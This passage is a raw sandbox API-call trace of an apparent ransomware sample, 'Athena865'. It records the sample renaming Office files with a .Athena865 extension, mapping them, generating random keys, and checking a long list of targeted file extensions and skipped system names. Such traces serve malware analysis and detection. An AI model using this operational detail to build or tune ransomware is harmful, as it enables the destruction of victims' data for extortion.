lpString2="ONINTL.DLL.IDX_DLL" | out: lpString1="ONINTL.DLL.IDX_DLL") returned="ONINTL.DLL.IDX_DLL" [0143.935] lstrlenW (lpString="ONINTL.DLL.IDX_DLL") returned 18 [0143.935] lstrlenW (lpString="Athena865") returned 9 [0143.935] lstrcmpiW (lpString1="L.IDX_DLL", lpString2="Athena865") returned 1 [0143.935] lstrlenW (lpString=".dll") returned 4 [0143.936] lstrcmpiW (lpString1="ONINTL.DLL.IDX_DLL", lpString2=".dll") returned 1 [0143.936] lstrlenW (lpString=".lnk") returned 4 [0143.936] lstrcmpiW (lpString1="ONINTL.DLL.IDX_DLL", lpString2=".lnk") returned 1 [0143.936] lstrlenW (lpString=".ini") returned 4 [0143.936] lstrcmpiW (lpString1="ONINTL.DLL.IDX_DLL", lpString2=".ini") returned 1 [0143.936] lstrlenW (lpString=".sys") returned 4 [0143.936] lstrcmpiW (lpString1="ONINTL.DLL.IDX_DLL", lpString2=".sys") returned 1 [0143.936] lstrlenW (lpString="ONINTL.DLL.IDX_DLL") returned 18 [0143.936] lstrlenW (lpString="bak") returned 3 [0143.936] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL.Athena865") returned 76 [0143.936] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll.idx_dll.athena865"), dwFlags=0x1) returned 1 [0143.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll.idx_dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0143.939] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=15232) returned 1 [0143.939] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0143.940] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0143.940] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.940] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3e80, lpName=0x0) returned 0x17c [0143.942] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3e80) returned 0x100000 [0143.945] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0143.946] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0143.946] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.946] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3266200, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0xc81aa50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe3266200, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x1bf80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ONINTL.REST.IDX_DLL", cAlternateFileName="ONINTL~2.IDX")) returned 1 [0143.946] lstrcmpiW (lpString1="ONINTL.REST.IDX_DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0143.946] lstrcmpiW (lpString1="ONINTL.REST.IDX_DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0143.946] lstrcmpiW (lpString1="ONINTL.REST.IDX_DLL", lpString2=".") returned 1 [0143.946] lstrcmpiW (lpString1="ONINTL.REST.IDX_DLL", lpString2="..") returned 1 [0143.946] lstrcmpiW (lpString1="ONINTL.REST.IDX_DLL", lpString2="windows") returned -1 [0143.946] lstrcmpiW (lpString1="ONINTL.REST.IDX_DLL", lpString2="bootmgr") returned 1 [0143.946] lstrcmpiW (lpString1="ONINTL.REST.IDX_DLL", lpString2="temp") returned -1 [0143.947] lstrcmpiW (lpString1="ONINTL.REST.IDX_DLL", lpString2="pagefile.sys") returned -1 [0143.947] lstrcmpiW (lpString1="ONINTL.REST.IDX_DLL", lpString2="boot") returned 1 [0143.947] lstrcmpiW (lpString1="ONINTL.REST.IDX_DLL", lpString2="ids.txt") returned 1 [0143.947] lstrcmpiW (lpString1="ONINTL.REST.IDX_DLL", lpString2="ntuser.dat") returned 1 [0143.947] lstrcmpiW (lpString1="ONINTL.REST.IDX_DLL", lpString2="perflogs") returned -1 [0143.947] lstrcmpiW (lpString1="ONINTL.REST.IDX_DLL", lpString2="MSBuild") returned 1 [0143.947] lstrlenW (lpString="ONINTL.REST.IDX_DLL") returned 19 [0143.947] lstrcpyW (in: lpString1=0x241e8a8, lpString2="ONINTL.REST.IDX_DLL" | out: lpString1="ONINTL.REST.IDX_DLL") returned="ONINTL.REST.IDX_DLL" [0143.947] lstrlenW (lpString="ONINTL.REST.IDX_DLL") returned 19 [0143.947] lstrlenW (lpString="Athena865") returned 9 [0143.947] lstrcmpiW (lpString1="T.IDX_DLL", lpString2="Athena865") returned 1 [0143.947] lstrlenW (lpString=".dll") returned 4 [0143.947] lstrcmpiW (lpString1="ONINTL.REST.IDX_DLL", lpString2=".dll") returned 1 [0143.947] lstrlenW (lpString=".lnk") returned 4 [0143.947] lstrcmpiW (lpString1="ONINTL.REST.IDX_DLL", lpString2=".lnk") returned 1 [0143.947] lstrlenW (lpString=".ini") returned 4 [0143.947] lstrcmpiW (lpString1="ONINTL.REST.IDX_DLL", lpString2=".ini") returned 1 [0143.947] lstrlenW (lpString=".sys") returned 4 [0143.947] lstrcmpiW (lpString1="ONINTL.REST.IDX_DLL", lpString2=".sys") returned 1 [0143.947] lstrlenW (lpString="ONINTL.REST.IDX_DLL") returned 19 [0143.947] lstrlenW (lpString="bak") returned 3 [0143.947] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL.Athena865") returned 77 [0143.947] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.rest.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.rest.idx_dll.athena865"), dwFlags=0x1) returned 1 [0143.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.rest.idx_dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0143.949] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=114560) returned 1 [0143.949] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0143.950] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0143.950] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.950] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1c280, lpName=0x0) returned 0x17c [0143.952] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1c280) returned 0x100000 [0143.966] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0143.967] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0143.967] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.969] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5439200, ftCreationTime.dwHighDateTime=0x1c55531, ftLastAccessTime.dwLowDateTime=0x50af3f00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5439200, ftLastWriteTime.dwHighDateTime=0x1c55531, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ORGCH.VRD", cAlternateFileName="")) returned 1 [0143.969] lstrcmpiW (lpString1="ORGCH.VRD", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0143.969] lstrcmpiW (lpString1="ORGCH.VRD", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0143.969] lstrcmpiW (lpString1="ORGCH.VRD", lpString2=".") returned 1 [0143.969] lstrcmpiW (lpString1="ORGCH.VRD", lpString2="..") returned 1 [0143.969] lstrcmpiW (lpString1="ORGCH.VRD", lpString2="windows") returned -1 [0143.969] lstrcmpiW (lpString1="ORGCH.VRD", lpString2="bootmgr") returned 1 [0143.969] lstrcmpiW (lpString1="ORGCH.VRD", lpString2="temp") returned -1 [0143.969] lstrcmpiW (lpString1="ORGCH.VRD", lpString2="pagefile.sys") returned -1 [0143.969] lstrcmpiW (lpString1="ORGCH.VRD", lpString2="boot") returned 1 [0143.969] lstrcmpiW (lpString1="ORGCH.VRD", lpString2="ids.txt") returned 1 [0143.969] lstrcmpiW (lpString1="ORGCH.VRD", lpString2="ntuser.dat") returned 1 [0143.969] lstrcmpiW (lpString1="ORGCH.VRD", lpString2="perflogs") returned -1 [0143.969] lstrcmpiW (lpString1="ORGCH.VRD", lpString2="MSBuild") returned 1 [0143.969] lstrlenW (lpString="ORGCH.VRD") returned 9 [0143.969] lstrcpyW (in: lpString1=0x241e8a8, lpString2="ORGCH.VRD" | out: lpString1="ORGCH.VRD") returned="ORGCH.VRD" [0143.969] lstrlenW (lpString="ORGCH.VRD") returned 9 [0143.969] lstrlenW (lpString="Athena865") returned 9 [0143.969] lstrlenW (lpString=".dll") returned 4 [0143.969] lstrcmpiW (lpString1="ORGCH.VRD", lpString2=".dll") returned 1 [0143.969] lstrlenW (lpString=".lnk") returned 4 [0143.970] lstrcmpiW (lpString1="ORGCH.VRD", lpString2=".lnk") returned 1 [0143.970] lstrlenW (lpString=".ini") returned 4 [0143.970] lstrcmpiW (lpString1="ORGCH.VRD", lpString2=".ini") returned 1 [0143.970] lstrlenW (lpString=".sys") returned 4 [0143.970] lstrcmpiW (lpString1="ORGCH.VRD", lpString2=".sys") returned 1 [0143.970] lstrlenW (lpString="ORGCH.VRD") returned 9 [0143.970] lstrlenW (lpString="bak") returned 3 [0143.970] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD.Athena865") returned 67 [0143.970] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgch.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgch.vrd.athena865"), dwFlags=0x1) returned 1 [0143.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgch.vrd.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0143.978] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1608) returned 1 [0143.980] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0143.986] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0143.986] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.986] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x950, lpName=0x0) returned 0x17c [0143.989] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x950) returned 0x100000 [0143.993] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0143.993] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0143.993] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.993] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0143.994] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0143.994] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0143.994] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0143.994] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0143.994] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0143.994] CloseHandle (hObject=0x17c) returned 1 [0143.994] CloseHandle (hObject=0x154) returned 1 [0143.994] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0143.994] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0143.994] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0143.994] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb117c800, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50b1a060, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb117c800, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xdfa0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ORGCHART.VSL", cAlternateFileName="")) returned 1 [0143.995] lstrcmpiW (lpString1="ORGCHART.VSL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0143.995] lstrcmpiW (lpString1="ORGCHART.VSL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0143.995] lstrcmpiW (lpString1="ORGCHART.VSL", lpString2=".") returned 1 [0143.995] lstrcmpiW (lpString1="ORGCHART.VSL", lpString2="..") returned 1 [0143.995] lstrcmpiW (lpString1="ORGCHART.VSL", lpString2="windows") returned -1 [0143.995] lstrcmpiW (lpString1="ORGCHART.VSL", lpString2="bootmgr") returned 1 [0143.995] lstrcmpiW (lpString1="ORGCHART.VSL", lpString2="temp") returned -1 [0143.995] lstrcmpiW (lpString1="ORGCHART.VSL", lpString2="pagefile.sys") returned -1 [0143.995] lstrcmpiW (lpString1="ORGCHART.VSL", lpString2="boot") returned 1 [0143.995] lstrcmpiW (lpString1="ORGCHART.VSL", lpString2="ids.txt") returned 1 [0143.995] lstrcmpiW (lpString1="ORGCHART.VSL", lpString2="ntuser.dat") returned 1 [0143.995] lstrcmpiW (lpString1="ORGCHART.VSL", lpString2="perflogs") returned -1 [0143.995] lstrcmpiW (lpString1="ORGCHART.VSL", lpString2="MSBuild") returned 1 [0143.995] lstrlenW (lpString="ORGCHART.VSL") returned 12 [0143.995] lstrcpyW (in: lpString1=0x241e8a8, lpString2="ORGCHART.VSL" | out: lpString1="ORGCHART.VSL") returned="ORGCHART.VSL" [0143.995] lstrlenW (lpString="ORGCHART.VSL") returned 12 [0143.995] lstrlenW (lpString="Athena865") returned 9 [0143.995] lstrcmpiW (lpString1="CHART.VSL", lpString2="Athena865") returned 1 [0143.995] lstrlenW (lpString=".dll") returned 4 [0143.995] lstrcmpiW (lpString1="ORGCHART.VSL", lpString2=".dll") returned 1 [0143.995] lstrlenW (lpString=".lnk") returned 4 [0143.995] lstrcmpiW (lpString1="ORGCHART.VSL", lpString2=".lnk") returned 1 [0143.995] lstrlenW (lpString=".ini") returned 4 [0143.995] lstrcmpiW (lpString1="ORGCHART.VSL", lpString2=".ini") returned 1 [0143.995] lstrlenW (lpString=".sys") returned 4 [0143.995] lstrcmpiW (lpString1="ORGCHART.VSL", lpString2=".sys") returned 1 [0143.996] lstrlenW (lpString="ORGCHART.VSL") returned 12 [0143.996] lstrlenW (lpString="bak") returned 3 [0143.996] lstrcmpiW (lpString1="VSL", lpString2="bak") returned 1 [0143.996] lstrlenW (lpString="ba_") returned 3 [0143.996] lstrcmpiW (lpString1="VSL", lpString2="ba_") returned 1 [0143.996] lstrlenW (lpString="dbb") returned 3 [0143.996] lstrcmpiW (lpString1="VSL", lpString2="dbb") returned 1 [0143.996] lstrlenW (lpString="vmdk") returned 4 [0143.996] lstrcmpiW (lpString1=".VSL", lpString2="vmdk") returned -1 [0143.996] lstrlenW (lpString="rar") returned 3 [0143.996] lstrcmpiW (lpString1="VSL", lpString2="rar") returned 1 [0143.996] lstrlenW (lpString="zip") returned 3 [0143.996] lstrcmpiW (lpString1="VSL", lpString2="zip") returned -1 [0143.996] lstrlenW (lpString="tgz") returned 3 [0143.996] lstrcmpiW (lpString1="VSL", lpString2="tgz") returned 1 [0143.996] lstrlenW (lpString="vbox") returned 4 [0143.996] lstrcmpiW (lpString1=".VSL", lpString2="vbox") returned -1 [0143.996] lstrlenW (lpString="vdi") returned 3 [0143.996] lstrcmpiW (lpString1="VSL", lpString2="vdi") returned 1 [0143.996] lstrlenW (lpString="vhd") returned 3 [0143.996] lstrcmpiW (lpString1="VSL", lpString2="vhd") returned 1 [0143.996] lstrlenW (lpString="vhdx") returned 4 [0143.996] lstrcmpiW (lpString1=".VSL", lpString2="vhdx") returned -1 [0143.996] lstrlenW (lpString="avhd") returned 4 [0143.996] lstrcmpiW (lpString1=".VSL", lpString2="avhd") returned -1 [0143.996] lstrlenW (lpString="db") returned 2 [0143.996] lstrcmpiW (lpString1="SL", lpString2="db") returned 1 [0143.996] lstrlenW (lpString="db2") returned 3 [0143.997] lstrcmpiW (lpString1="VSL", lpString2="db2") returned 1 [0143.997] lstrlenW (lpString="db3") returned 3 [0143.997] lstrcmpiW (lpString1="VSL", lpString2="db3") returned 1 [0143.997] lstrlenW (lpString="dbf") returned 3 [0143.997] lstrcmpiW (lpString1="VSL", lpString2="dbf") returned 1 [0143.997] lstrlenW (lpString="mdf") returned 3 [0143.997] lstrcmpiW (lpString1="VSL", lpString2="mdf") returned 1 [0143.997] lstrlenW (lpString="mdb") returned 3 [0143.997] lstrcmpiW (lpString1="VSL", lpString2="mdb") returned 1 [0143.997] lstrlenW (lpString="sql") returned 3 [0143.997] lstrcmpiW (lpString1="VSL", lpString2="sql") returned 1 [0143.997] lstrlenW (lpString="sqlite") returned 6 [0143.997] lstrcmpiW (lpString1="RT.VSL", lpString2="sqlite") returned -1 [0143.997] lstrlenW (lpString="sqlite3") returned 7 [0143.997] lstrcmpiW (lpString1="ART.VSL", lpString2="sqlite3") returned -1 [0143.997] lstrlenW (lpString="sqlitedb") returned 8 [0143.997] lstrcmpiW (lpString1="HART.VSL", lpString2="sqlitedb") returned -1 [0143.997] lstrlenW (lpString="xml") returned 3 [0143.997] lstrcmpiW (lpString1="VSL", lpString2="xml") returned -1 [0143.997] lstrlenW (lpString="$er") returned 3 [0143.997] lstrcmpiW (lpString1="VSL", lpString2="$er") returned 1 [0143.997] lstrlenW (lpString="4dd") returned 3 [0143.997] lstrcmpiW (lpString1="VSL", lpString2="4dd") returned 1 [0143.997] lstrlenW (lpString="4dl") returned 3 [0143.997] lstrcmpiW (lpString1="VSL", lpString2="4dl") returned 1 [0143.997] lstrlenW (lpString="^^^") returned 3 [0143.997] lstrcmpiW (lpString1="VSL", lpString2="^^^") returned 1 [0143.997] lstrlenW (lpString="abs") returned 3 [0143.997] lstrcmpiW (lpString1="VSL", lpString2="abs") returned 1 [0143.998] lstrlenW (lpString="abx") returned 3 [0143.998] lstrcmpiW (lpString1="VSL", lpString2="abx") returned 1 [0143.998] lstrlenW (lpString="accdb") returned 5 [0143.998] lstrcmpiW (lpString1="T.VSL", lpString2="accdb") returned 1 [0143.998] lstrlenW (lpString="accdc") returned 5 [0143.998] lstrcmpiW (lpString1="T.VSL", lpString2="accdc") returned 1 [0143.998] lstrlenW (lpString="accde") returned 5 [0143.998] lstrcmpiW (lpString1="T.VSL", lpString2="accde") returned 1 [0143.998] lstrlenW (lpString="accdr") returned 5 [0143.998] lstrcmpiW (lpString1="T.VSL", lpString2="accdr") returned 1 [0143.998] lstrlenW (lpString="accdt") returned 5 [0143.998] lstrcmpiW (lpString1="T.VSL", lpString2="accdt") returned 1 [0143.998] lstrlenW (lpString="accdw") returned 5 [0143.998] lstrcmpiW (lpString1="T.VSL", lpString2="accdw") returned 1 [0143.998] lstrlenW (lpString="accft") returned 5 [0143.998] lstrcmpiW (lpString1="T.VSL", lpString2="accft") returned 1 [0143.998] lstrlenW (lpString="adb") returned 3 [0143.998] lstrcmpiW (lpString1="VSL", lpString2="adb") returned 1 [0143.998] lstrlenW (lpString="adb") returned 3 [0143.998] lstrcmpiW (lpString1="VSL", lpString2="adb") returned 1 [0143.998] lstrlenW (lpString="ade") returned 3 [0143.998] lstrcmpiW (lpString1="VSL", lpString2="ade") returned 1 [0143.998] lstrlenW (lpString="adf") returned 3 [0143.998] lstrcmpiW (lpString1="VSL", lpString2="adf") returned 1 [0143.998] lstrlenW (lpString="adn") returned 3 [0143.998] lstrcmpiW (lpString1="VSL", lpString2="adn") returned 1 [0143.998] lstrlenW (lpString="adp") returned 3 [0143.998] lstrcmpiW (lpString1="VSL", lpString2="adp") returned 1 [0143.999] lstrlenW (lpString="alf") returned 3 [0143.999] lstrcmpiW (lpString1="VSL", lpString2="alf") returned 1 [0143.999] lstrlenW (lpString="ask") returned 3 [0143.999] lstrcmpiW (lpString1="VSL", lpString2="ask") returned 1 [0143.999] lstrlenW (lpString="btr") returned 3 [0143.999] lstrcmpiW (lpString1="VSL", lpString2="btr") returned 1 [0143.999] lstrlenW (lpString="cat") returned 3 [0143.999] lstrcmpiW (lpString1="VSL", lpString2="cat") returned 1 [0143.999] lstrlenW (lpString="cdb") returned 3 [0143.999] lstrcmpiW (lpString1="VSL", lpString2="cdb") returned 1 [0143.999] lstrlenW (lpString="ckp") returned 3 [0143.999] lstrcmpiW (lpString1="VSL", lpString2="ckp") returned 1 [0143.999] lstrlenW (lpString="cma") returned 3 [0143.999] lstrcmpiW (lpString1="VSL", lpString2="cma") returned 1 [0143.999] lstrlenW (lpString="cpd") returned 3 [0143.999] lstrcmpiW (lpString1="VSL", lpString2="cpd") returned 1 [0143.999] lstrlenW (lpString="dacpac") returned 6 [0143.999] lstrcmpiW (lpString1="RT.VSL", lpString2="dacpac") returned 1 [0143.999] lstrlenW (lpString="dad") returned 3 [0143.999] lstrcmpiW (lpString1="VSL", lpString2="dad") returned 1 [0143.999] lstrlenW (lpString="dadiagrams") returned 10 [0143.999] lstrcmpiW (lpString1="GCHART.VSL", lpString2="dadiagrams") returned 1 [0143.999] lstrlenW (lpString="daschema") returned 8 [0143.999] lstrcmpiW (lpString1="HART.VSL", lpString2="daschema") returned 1 [0143.999] lstrlenW (lpString="db-journal") returned 10 [0143.999] lstrcmpiW (lpString1="GCHART.VSL", lpString2="db-journal") returned 1 [0143.999] lstrlenW (lpString="db-shm") returned 6 [0143.999] lstrcmpiW (lpString1="RT.VSL", lpString2="db-shm") returned 1 [0143.999] lstrlenW (lpString="db-wal") returned 6 [0144.000] lstrcmpiW (lpString1="RT.VSL", lpString2="db-wal") returned 1 [0144.000] lstrlenW (lpString="dbc") returned 3 [0144.000] lstrcmpiW (lpString1="VSL", lpString2="dbc") returned 1 [0144.000] lstrlenW (lpString="dbs") returned 3 [0144.000] lstrcmpiW (lpString1="VSL", lpString2="dbs") returned 1 [0144.000] lstrlenW (lpString="dbt") returned 3 [0144.000] lstrcmpiW (lpString1="VSL", lpString2="dbt") returned 1 [0144.000] lstrlenW (lpString="dbv") returned 3 [0144.000] lstrcmpiW (lpString1="VSL", lpString2="dbv") returned 1 [0144.000] lstrlenW (lpString="dbx") returned 3 [0144.000] lstrcmpiW (lpString1="VSL", lpString2="dbx") returned 1 [0144.000] lstrlenW (lpString="dcb") returned 3 [0144.000] lstrcmpiW (lpString1="VSL", lpString2="dcb") returned 1 [0144.000] lstrlenW (lpString="dct") returned 3 [0144.000] lstrcmpiW (lpString1="VSL", lpString2="dct") returned 1 [0144.000] lstrlenW (lpString="dcx") returned 3 [0144.000] lstrcmpiW (lpString1="VSL", lpString2="dcx") returned 1 [0144.000] lstrlenW (lpString="ddl") returned 3 [0144.000] lstrcmpiW (lpString1="VSL", lpString2="ddl") returned 1 [0144.000] lstrlenW (lpString="dlis") returned 4 [0144.000] lstrcmpiW (lpString1=".VSL", lpString2="dlis") returned -1 [0144.000] lstrlenW (lpString="dp1") returned 3 [0144.000] lstrcmpiW (lpString1="VSL", lpString2="dp1") returned 1 [0144.000] lstrlenW (lpString="dqy") returned 3 [0144.000] lstrcmpiW (lpString1="VSL", lpString2="dqy") returned 1 [0144.000] lstrlenW (lpString="dsk") returned 3 [0144.000] lstrcmpiW (lpString1="VSL", lpString2="dsk") returned 1 [0144.000] lstrlenW (lpString="dsn") returned 3 [0144.001] lstrcmpiW (lpString1="VSL", lpString2="dsn") returned 1 [0144.001] lstrlenW (lpString="dtsx") returned 4 [0144.001] lstrcmpiW (lpString1=".VSL", lpString2="dtsx") returned -1 [0144.001] lstrlenW (lpString="dxl") returned 3 [0144.001] lstrcmpiW (lpString1="VSL", lpString2="dxl") returned 1 [0144.001] lstrlenW (lpString="eco") returned 3 [0144.001] lstrcmpiW (lpString1="VSL", lpString2="eco") returned 1 [0144.001] lstrlenW (lpString="ecx") returned 3 [0144.001] lstrcmpiW (lpString1="VSL", lpString2="ecx") returned 1 [0144.001] lstrlenW (lpString="edb") returned 3 [0144.001] lstrcmpiW (lpString1="VSL", lpString2="edb") returned 1 [0144.001] lstrlenW (lpString="epim") returned 4 [0144.001] lstrcmpiW (lpString1=".VSL", lpString2="epim") returned -1 [0144.001] lstrlenW (lpString="fcd") returned 3 [0144.001] lstrcmpiW (lpString1="VSL", lpString2="fcd") returned 1 [0144.001] lstrlenW (lpString="fdb") returned 3 [0144.001] lstrcmpiW (lpString1="VSL", lpString2="fdb") returned 1 [0144.001] lstrlenW (lpString="fic") returned 3 [0144.001] lstrcmpiW (lpString1="VSL", lpString2="fic") returned 1 [0144.001] lstrlenW (lpString="flexolibrary") returned 12 [0144.001] lstrlenW (lpString="fm5") returned 3 [0144.001] lstrcmpiW (lpString1="VSL", lpString2="fm5") returned 1 [0144.001] lstrlenW (lpString="fmp") returned 3 [0144.001] lstrcmpiW (lpString1="VSL", lpString2="fmp") returned 1 [0144.001] lstrlenW (lpString="fmp12") returned 5 [0144.001] lstrcmpiW (lpString1="T.VSL", lpString2="fmp12") returned 1 [0144.001] lstrlenW (lpString="fmpsl") returned 5 [0144.001] lstrcmpiW (lpString1="T.VSL", lpString2="fmpsl") returned 1 [0144.002] lstrlenW (lpString="fol") returned 3 [0144.002] lstrcmpiW (lpString1="VSL", lpString2="fol") returned 1 [0144.002] lstrlenW (lpString="fp3") returned 3 [0144.002] lstrcmpiW (lpString1="VSL", lpString2="fp3") returned 1 [0144.002] lstrlenW (lpString="fp4") returned 